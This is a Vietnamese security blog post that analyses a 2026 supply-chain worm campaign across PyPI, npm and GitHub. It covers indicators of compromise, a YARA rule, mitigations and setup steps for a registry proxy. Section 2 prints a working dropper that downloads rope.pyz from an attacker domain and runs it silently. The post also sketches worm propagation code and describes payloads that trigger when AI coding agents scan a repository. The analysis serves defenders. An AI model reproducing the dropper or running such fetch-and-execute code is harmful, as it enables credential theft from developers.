1. Giới thiệu
Trong vòng chưa đầy 3 tuần, cộng đồng bảo mật chứng kiến một chuỗi sự kiện liên quan chặt chẽ với nhau:
| Thời gian | Sự kiện |
|---|---|
| 19/05/2026 | Microsoft durabletask bị compromise trên PyPI |
| 03/06/2026 | Worm binding.gyp lan rộng trong npm ecosystem |
| 05/06/2026 | Miasma worm compromise 73 repository của Microsoft |
Các sự kiện này không phải là các cuộc tấn công độc lập. Chúng là các bước tiến hóa của cùng một chiến dịch nhằm:
- Đánh cắp credentials
- Chiếm quyền maintainer
- Tự nhân bản qua supply chain
- Tấn công AI coding workflow
- Mở rộng quyền kiểm soát toàn bộ developer ecosystem
Nguồn phân tích ban đầu từ StepSecurity cho thấy chiến dịch có liên hệ với nhóm TeamPCP và họ malware Mini Shai-Hulud.
2. Giai đoạn 1 — Microsoft DurableTask bị compromise
Mục tiêu
Chiếm quyền một package có độ tin cậy cao.
- Package bị tấn công:
durabletask - Download trung bình: ~400.000 downloads / tháng
- Các phiên bản độc hại: 1.4.1 · 1.4.2 · 1.4.3
Kiến trúc tấn công
Developer
→ pip install durabletask
→ Malicious Code
→ Download rope.pyz
→ Credential Theft
→ Cloud Accounts
→ Lateral Movement
Payload Dropper
Theo phân tích, chỉ khoảng 14 dòng code được thêm vào package nhưng đủ để tải về một payload lớn hơn nhiều: rope.pyz. Payload này thực hiện:
- AWS credential harvesting
- Azure credential harvesting
- GCP credential harvesting
- GitHub token theft
- Kubernetes token theft
- Password manager extraction
Ví dụ Dropper
import urllib.request
import subprocess
import tempfile
url = "https://check.git-service.com/rope.pyz"
tmp = tempfile.mktemp()
urllib.request.urlretrieve(url, tmp)
subprocess.Popen(
["python3", tmp],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
3. Giai đoạn 2 — Worm hóa Supply Chain
Sau khi đánh cắp token và credential, malware bắt đầu chuyển sang chế độ tự nhân bản. Đây là điểm khác biệt cốt lõi giữa hai mô hình:
Supply Chain Attack truyền thống:
Compromise → Steal data → Exit
Worm Supply Chain Attack:
Compromise → Steal data → Compromise maintainer
→ Publish malware → Infect more maintainers → (lặp lại)
Binding.gyp Worm
StepSecurity phát hiện malware lây lan qua file binding.gyp trong hệ sinh thái npm.
Compromised Machine
→ Steal GitHub Token
→ Access Repository ◄────────────┐
→ Modify Package │
→ npm publish │
→ New Victims │
→ More Tokens ───────────────────┘ (vòng lặp)
Pseudo Code
const token = process.env.GITHUB_TOKEN;
if (token) {
infectRepository();
publishNewVersion();
}
Tại sao nguy hiểm?
Malware không còn phụ thuộc vào hacker. Nó tự động:
- tìm token
- commit code
- publish package
- lây nhiễm tiếp
Giống mô hình của Code Red, Morris Worm, WannaCry — nhưng diễn ra trong ecosystem developer thay vì network layer.
4. Giai đoạn 3 — Miasma Worm
Ngày 05/06/2026, chiến dịch leo thang thêm một cấp độ. Thay vì package registry (PyPI, npm), Miasma bắt đầu tấn công trực tiếp vào GitHub Repository.
Điều gì mới?
Payload không còn đợi import package hay npm install nữa. Nó được thiết kế để kích hoạt khi:
- Open folder in IDE
- AI Coding Agent scan repository
AI Agent Attack Surface
Miasma nhắm tới các AI coding agent phổ biến:
- Claude Code
- Gemini CLI
- Cursor
- VS Code
Developer
→ Clone Repository
→ Open in Cursor
→ AI Agent Reads Files
→ Malicious Script
→ Credential Theft
→ Repository Takeover
Repository Injection
Theo StepSecurity, các repository thuộc Microsoft bị GitHub disable khẩn cấp để ngăn lây lan thêm:
73 repository bị compromise — GitHub disable toàn bộ chỉ trong 105 giây.
5. Chuỗi Kill Chain hoàn chỉnh
Toàn bộ chiến dịch tạo thành một vòng lặp tự duy trì — output của giai đoạn cuối lại trở thành input cho giai đoạn đầu:
Compromise Package ◄──────────────────┐
→ Credential Theft │
→ Steal GitHub Token │
→ Compromise Repository │
→ Inject Malware │
→ AI Agent Execution │
→ New Credential Theft │
→ Publish New Packages ──────────────┘ (vòng lặp khép kín)
6. So sánh 3 giai đoạn
| Giai đoạn | Target | Trigger | Mức độ lan truyền |
|---|---|---|---|
| DurableTask | PyPI Registry | import |
Limited — Package |
| Binding.gyp | npm Ecosystem | install |
Medium — Maintainer |
| Miasma | GitHub + AI Agents | IDE Open | High — Repository + AI |
7. Indicators of Compromise (IOC)
Domains
check.git-service.com
git-service.com
t.m-kosche.com
Suspicious Files
rope.pyz
setup.js
transformers.pyz
8. Detection Rules
YARA Rule
rule Miasma_Rope_Payload
{
strings:
$a = "git-service.com"
$b = "rope.pyz"
$c = "kubectl exec"
condition:
any of them
}
GitHub Actions Detection
- name: Detect unexpected publish
run: |
git log --since="1 day ago"
9. Phòng thủ & Mitigation
1. Trusted Publishing. Thay vì dùng PYPI_API_TOKEN, hãy chuyển sang OIDC Trusted Publishing để ngăn upload trực tiếp lên registry.
2. Dependency Pinning.
pip install package==version
3. Commit SHA Pinning. Ghim theo commit SHA thay vì tag động:
uses: org/action@8f4d1d2 # ✓ pin theo SHA
# uses: org/action@v1 # ✗ tránh tag động
4. Runtime Monitoring. Theo mô hình Harden-Runner, phát hiện các hành vi bất thường: network calls, process spawn, secret access.
5. AI Agent Sandboxing. Không cho AI Agent đọc credential files, truy cập cloud config, hoặc thực thi script tự động.
10. Công cụ phòng thủ — Takumi Guard
Một cách triển khai cụ thể cho phần phòng thủ ở trên: Takumi Guard đóng vai trò là một secure registry proxy — đặt giữa máy của bạn và npm/PyPI, tự động chặn các package độc hại trước khi chúng kịp tải về và thực thi (đúng loại payload như rope.pyz hay @panda-guard/test-malicious).
🛡️ Takumi Guard — chặn package độc hại ngay tầng cài đặt, hỗ trợ npm · pip · yarn · bun.
Registry:npm.flatt.tech·pypi.flatt.tech
⚠️ Yêu cầu trước khi cài đặt
Bắt buộc phải có sẵn npm (Node.js) và pip (Python). Kiểm tra bằng các lệnh:
# Kiểm tra npm (Node.js)
node -v
npm -v
# Kiểm tra pip (Python)
python --version
pip --version
- Nếu chưa có npm: tải và cài Node.js từ trang chủ chính thức.
- Nếu chưa có pip: thường đi kèm khi cài Python — hãy đảm bảo đã thêm vào
PATH.
Bước 01 — Đăng ký Token bằng Email qua Curl
Gửi yêu cầu tạo token tới API, hệ thống sẽ gửi token về email của bạn.
curl -X POST https://npm.flatt.tech/api/v1/tokens \
-H "Content-Type: application/json" \
-d '{"email": "your_email@vietnamlab.vn", "language": "en"}'
Bước 02 — Lấy Token từ Email
Kiểm tra hộp thư đến, đánh dấu quan trọng hoặc gắn sao để dễ tìm lại khi cần tạo lại. Token có định dạng:
tg_.................... ✓ Token Format
Bước 03 — Cấu hình Package Manager
Trỏ registry về Takumi Guard và gắn token. Thay tg_YOUR_TOKEN bằng token thật của bạn.
# Cài đặt cho NPM
npm config set registry https://npm.flatt.tech/
npm config set //npm.flatt.tech/:_authToken tg_YOUR_TOKEN
# Cài đặt cho Python (PIP)
pip config set global.index-url https://token:tg_YOUR_TOKEN@pypi.flatt.tech/simple/
# yarn (v2+) — thêm vào .yarnrc.yml
npmRegistryServer: "https://npm.flatt.tech/"
npmAuthToken: "tg_YOUR_TOKEN"
# bun — thêm vào bunfig.toml
[install]
registry = { url = "https://npm.flatt.tech/", token = "tg_YOUR_TOKEN" }
Bước 04 — Kiểm tra cài đặt
Cài thử package giả lập độc hại. Nếu bị chặn với lỗi 403 Forbidden thì Takumi Guard đang hoạt động đúng — bị chặn = thành công.
$ npm install @panda-guard/test-malicious
npm error code E403
npm error 403 Forbidden - GET https://npm.flatt.tech/...
npm error 403 In most cases, you or one of your dependencies are requesting
npm error 403 a package version that is forbidden by your security policy, or
npm error 403 on a server you do not have access to.
npm error A complete log of this run can be found in:
npm error /Users/administrator/.npm/_logs/2026-04-21T07_37_18_247Z-debug-0.log
✓ Thành công — package độc hại đã bị chặn.
🔑 Trường hợp mất hoặc hết hạn Token
Nếu bị mất Token hoặc Token hết hạn, hãy thực hiện lại Bước 01 để nhận mail — trong mail có hướng dẫn reset kèm mã code:
# Lost Your Key Completely?
curl -X POST https://npm.flatt.tech/api/v1/tokens/reset \
--json '{"email": "you_email@vietnamlab.vn", "code": "XXXXXXXX"}'
Lưu ý quan trọng:
- Lệnh này sẽ vô hiệu hóa (invalidate) Token hiện tại của bạn.
- Mã
reset codesẽ hết hạn sau 1 giờ kể từ khi yêu cầu.
11. Kết luận
Chuỗi sự kiện DurableTask → Binding.gyp → Miasma cho thấy một xu hướng mới:
"Malware không còn chỉ tấn công người dùng cuối, mà đang tấn công chính các nhà phát triển và hệ sinh thái phát triển phần mềm."
Sự kết hợp giữa Supply Chain Attack + Self-Replicating Worm + Credential Theft + AI Agent Targeting đã tạo ra một lớp đe dọa mới mà nhiều mô hình DevSecOps hiện nay chưa được thiết kế để chống lại.
Nếu SolarWinds là cuộc tấn công supply chain nổi tiếng của thập kỷ trước, thì Miasma có thể là hình mẫu đầu tiên của một "AI-aware software supply chain worm" — một loại sâu máy tính được tối ưu hóa cho kỷ nguyên AI coding assistants và open-source ecosystems.
12. Nguồn tham khảo
https://www.stepsecurity.io/blog/microsofts-durabletask-pypi-package-compromised-in-supply-chain-attack
https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm
https://www.stepsecurity.io/blog/miasma-worm-hits-microsoft-again-azure-functions-action-and-72-other-repositories-disabled-after-supply-chain-attack-targeting-ai-coding-agents
